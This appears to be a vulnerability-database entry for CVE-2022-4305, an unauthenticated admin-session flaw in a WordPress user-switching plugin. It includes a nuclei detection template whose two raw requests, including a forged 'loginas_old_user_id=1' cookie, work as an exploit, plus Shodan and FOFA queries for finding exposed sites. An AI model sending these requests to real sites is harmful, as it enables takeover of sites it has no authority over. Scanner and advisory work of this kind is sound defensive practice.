HexBrain

Browse / CVEs / CVE-2022-4305

CVE-2022-4305· wp-buy / login as user or customer \(user switching\)· CWE-269

Login as User or Customer < 3.3 - Privilege Escalation

criticalseverity
9.8CVSS score
38.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

Impact

Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.

Fix

Fixed in version 3.3

How to confirm it

Send: GET /wp-admin/admin-ajax.php?action=loginas_return_admin ; GET /wp-admin/users.php
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')

Run it with nuclei: nuclei -id CVE-2022-4305 -u <target>

The full check
id: CVE-2022-4305

info:
  name: Login as User or Customer < 3.3 - Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: |
    The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
  impact: |
    Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.
  remediation: |
    Fixed in version 3.3
  reference:
    - https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4305
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4305
    cwe-id: CWE-269
    epss-score: 0.38625
    epss-percentile: 0.98591
    cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-buy
    product: login_as_user_or_customer_\(user_switching\)
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/login-as-customer-or-user
    fofa-query: body=/wp-content/plugins/login-as-customer-or-user
    publicwww-query: /wp-content/plugins/login-as-customer-or-user
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
        Host: {{Hostname}}
        Cookie: loginas_old_user_id=1
      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(header_2, "text/html")
          - contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from